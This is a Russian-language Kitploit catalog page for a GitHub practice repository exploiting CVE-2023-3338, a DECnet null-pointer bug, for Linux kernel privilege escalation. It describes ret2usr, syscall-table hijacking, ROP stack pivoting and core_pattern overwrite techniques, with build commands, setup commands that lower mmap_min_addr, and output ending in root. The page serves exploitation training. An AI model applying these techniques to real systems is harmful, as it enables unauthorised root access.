Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2023-3338-DECPwn — Практика LPE в ядре Linux с уязвимостью NPD | Kitploit
Инструменты/GitHubGitHub/turtlearm/cve-2023-3338-decpwn
Повышение привилегийЭксплуатацияОбучение и ОбразованиеЭксплуатация Бинарных ФайловЛаборатории и Практика
GitHubturtlearm/cve-2023-3338-decpwn

CVE-2023-3338-DECPwn

Практика LPE в ядре Linux с уязвимостью NPD

Репозиторий
35733 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

DECPwn

Практика различных техник эксплуатации ядра Linux с моей уязвимостью DECnet и включённым отображением нулевой страницы.


Сценарии

  • Всё отключено: qemu-system-x86_64 -append "nosmap nosmep nopti nokaslr"

    Выполнение кода перенаправляется на функцию output в пользовательском пространстве, которая вызывает commit_creds(prepare_kernel_cred(0)).

  • Перехват системных вызовов

    Адрес обработчика системного вызова mkdir в sys_call_table заменяется функцией, похожей на ту, что в сценарии 1.

  • SMEP и KPTI включены: qemu-system-x86_64 -append "nosmap nokaslr"

    Выполнение кода перенаправляется на подмену стека (stack pivot), которая устанавливает $rsp на цепочку ROP в нулевой странице.

  • Помощник пользовательского режима

    Параметр sysctl core_pattern перезаписывается для указания команды, запускаемой с повышенными привилегиями при создании дампа ядра.

    Затем программа прерывается сигналом SIGABRT для запуска скрипта пользовательского режима.

Сборка

root@kitploit:~
apt install libdnet
gcc -o lpe lpe.c -ldnet
gcc -o lpe-core_pattern lpe-core_pattern.c -ldnet
gcc -o lpe-nosmep lpe-nosmep.c -ldnet -no-pie
gcc -o lpe-syscall lpe-syscall.c -ldnet -no-pie

Запуск

Настройте DECnet от root:

root@kitploit:~
sysctl -w vm.mmap_min_addr="0" # 0x1000
echo -n "1.10" > /proc/sys/net/decnet/node_address

Запустите эксплойт от непривилегированного пользователя:

root@kitploit:~
$ ./lpe
[*] Saved state
[*] Triggering NPD
[*] Returned to userland
[*] UID: 0, got root!
#
Скачать инструмент